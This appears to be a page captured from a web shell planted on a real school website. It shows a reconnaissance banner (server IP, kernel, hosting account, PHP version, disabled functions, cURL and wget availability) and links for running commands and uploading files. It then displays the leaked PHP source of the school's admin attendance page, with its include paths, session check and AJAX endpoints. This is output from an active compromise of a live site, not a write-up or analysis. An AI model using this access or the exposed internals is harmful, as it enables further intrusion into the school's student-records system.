Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/gsmps/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<html> <head> <?php include("../link/admin_headconnection.php"); include("../link/databaseconnection.php"); session_start(); $lg=$_SESSION['admin']; if(!$lg) { header("location:../admin/"); } ?> <link href="../css/dashboard.css" rel="stylesheet" type="text/css"/> <link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/> <link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/> <link href="../css/student_details.css" rel="stylesheet" type="text/css"/> <style> <link href="../css/student_details.css" rel="stylesheet" type="text/css"/> .work { min-height:200px; } .gap { height:100px; } </style> <link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/> <link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/> <script src="jq/jquery.dataTables.min.js"></script> <script src="jq/dataTables.buttons.min.js"></script> <script src="jq/buttons.flash.min.js"></script> <script src="jq/jszip.min.js"></script> <script src="jq/pdfmake.min.js"></script> <script src="jq/vfs_fonts.js"></script> <script src="jq/buttons.html5.min.js"></script> <script src="jq/buttons.print.min.js"></script> <style> .work { min-height:200px; } .gap { height:100px; } thead input { width: 100%; padding: 1px; box-sizing: border-box; } </style> <script> function record(id) { //alert(id); $("#editmodel").modal("show"); $("#editbody").load("../code/student_detailscode.php?flag=293&id="+id); } function recordup(application) { $("#editmodel134").modal("show"); $("#editbody134").load("../code/student_detailscode.php?flag=295&application="+application); } function transferrow(id) { //alert(id); $("#editmodel12t").modal("show"); $("#editbody12t").load("../code/student_detailscode.php?flag=31&id="+id); } function feesrow(id) { //alert(id); $("#editmodel12").modal("show"); $("#editbody12").load("../code/student_detailscode.php?flag=9&id="+id); } //===message==// function messagerow(id) { //alert(id); $("#editmodel").modal("show"); $("#editbody").load("../code/student_detailscode.php?flag=7&id="+id); } function slip123(application) { //alert(application); $("#editmodel12").modal("show"); $("#editbody12").load("../code/student_detailscode.php?flag=34&application="+application); } $(document).ready(function(){ $("#search").submit(function(e){ e.preventDefault(); $.ajax({ url:"../code/student_detailscode.php?flag=291", type:"POST", data: new FormData(this), contentType:false, processData:false, success:function(res){ //alert(res); $("#modal").html(res); }, error:function(){ alert("error"); } }); }); }); //== message==/// function deleterow(id) { //alert(id); var a=confirm("Are you Sure"); if(a==true) { $.ajax({ url:"../code/student_detailscode.php?flag=2", type:"POST", data:{rowid:id}, success:function(res){ //alert(res); //$("#modal").html(res); $("#myform21").submit(); }, error:function(){ alert("error"); } }); } } $(document).ready(function(){ //$("#modal").load("../code/student_detailscode.php?flag=1"); }); function recordupdate(form) { $.ajax({ url:"../code/student_detailscode.php?flag=292", type:"POST", data:new FormData(form), contentType:false, // for photo upload ke liye hai processData:false, //for photo upload ke liye hai cache:false, success:function(res){ // alert(res); $("#editmodel").modal("hide"); $("#search").submit(); }, error:function(){ alert("error"); } }); return false; } //// ////for update function recordupdate1(form) { $.ajax({ url:"../code/student_detailscode.php?flag=296", type:"POST", data:new FormData(form), contentType:false, // for photo upload ke liye hai processData:false, //for photo upload ke liye hai cache:false, success:function(res){ //alert(res); $("#editmodel134").modal("hide"); $("#search").submit(); }, error:function(){ alert("error"); } }); return false; } ////for update function changerow(form) { $.ajax({ url:"../code/student_detailscode.php?flag=32", type:"POST", data:new FormData(form), contentType:false, // for photo upload ke liye hai processData:false, //for photo upload ke liye hai cache:false, success:function(res){ alert(res); if(res=="Transfered") { $("#editmodel12t").modal("hide"); $("#myform21").submit(); } }, error:function(){ alert("error"); } }); return false; } /// function result(id) { $("#editmodel").modal("show"); $("#editbody").load("../code/student_detailscode.php?flag=5&id="+id); } function data(form) { $.ajax({ url:"../code/student_detailscode.php?flag=6", type:"POST", data:new FormData(form), contentType:false, processData:false, success:function(res){ alert(res); if(res=="ok") { $("#editmodel").modal("hide"); } }, error:function(){ alert("error"); } }); return false; } function feesdata(form) { $("#btn").prop("disabled",true); $.ajax({ url:"../code/student_detailscode.php?flag=10", type:"POST", data:new FormData(form), contentType:false, processData:false, success:function(res){ alert(res); $("#editmodel12").modal("hide"); }, error:function(){ alert("error"); } }); return false; } </script> </head> <body> <div class="container-fluid"> <div class="row"> <?php include("../link/staffmenu.php");?> </div> <div class="row"> <!--menu--close--> <div class="col-sm-12"> <h2 class="text-center">Attendance Record</h2> <div class="row"> <form id="search"> <div class="col-sm-4"> <div class="form-group"> <label class="col-sm-2 control-label">Session-</label> <div class="col-sm-8"> <?php $selc="select * from session order by id desc"; $resc=mysqli_query($conn,$selc); ?> <select class="form-control" style="font-weight:bold" id="select" name="session"> <option >--Select--</option> <?php while($rowc=mysqli_fetch_array($resc,MYSQLI_BOTH)) { ?> <option value="<?php echo $rowc['session'];?>"><?php echo $rowc['session'];?></option> <?php } ?> </select> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="col-sm-2 control-label">Class-</label> <div class="col-sm-8"> <?php $selc="select * from subclass"; $resc=mysqli_query($conn,$selc); ?> <select class="form-control" style="font-weight:bold" id="select" name="class"> <option >--Select--</option> <?php while($rowc=mysqli_fetch_array($resc,MYSQLI_BOTH)) { ?> <option value="<?php echo $rowc['subclass'];?>"><?php echo $rowc['subclass'];?></option> <?php } ?> </select> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="col-sm-2 control-label">Date-</label> <div class="col-sm-8"> <input type='date' class='form-control' required name='date'/> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="col-sm-2 control-label"></label> <div class="col-sm-8"> <button class="btn btn-primary">Search</button> </div> </div> </div> </div> </form> <div id="modal"></div> </div> <br/> <br/> <div id="show" style="display:none"></div> </div> <!-- modal for result--> <div class="modal fade" id="editmodel134"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-heading"> <button class="close" data-dismiss="modal"> <span> × </span> </button> <center><h2 class="modal-title" style="color:green;background-color:yellow"> Update Attendance </h2> </center> </div> <div class="modal-body" id="editbody134"> </div> <div class="modal-footer"> </div> </div> </div> </div> <div class="modal fade" id="editmodel"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-heading"> <button class="close" data-dismiss="modal"> <span> × </span> </button> <center><h2 class="modal-title" style="color:green;background-color:yellow"> Attendance </h2> </center> </div> <div class="modal-body" id="editbody"> </div> <div class="modal-footer"> </div> </div> </div> </div> <!-- modal for result--> <div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel12"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-heading"> <button class="close" data-dismiss="modal"> <span> × </span> </button> <center><h2 class="modal-title" style="color:green;background-color:yellow"> Attendance</h2> </center> </div> <div class="modal-body" id="editbody12"> </div> <div class="modal-footer"> </div> </div> </div> </div> <!--for modal transfer---> <div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel12t"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-heading"> <button class="close" data-dismiss="modal"> <span> × </span> </button> <center><h2 class="modal-title" style="color:green;background-color:yellow"> TRANSFER </h2> </center> </div> <div class="modal-body" id="editbody12t"> </div> <div class="modal-footer"> </div> </div> </div> </div> <!--for modal transfer---> </form> </div> </body> </html>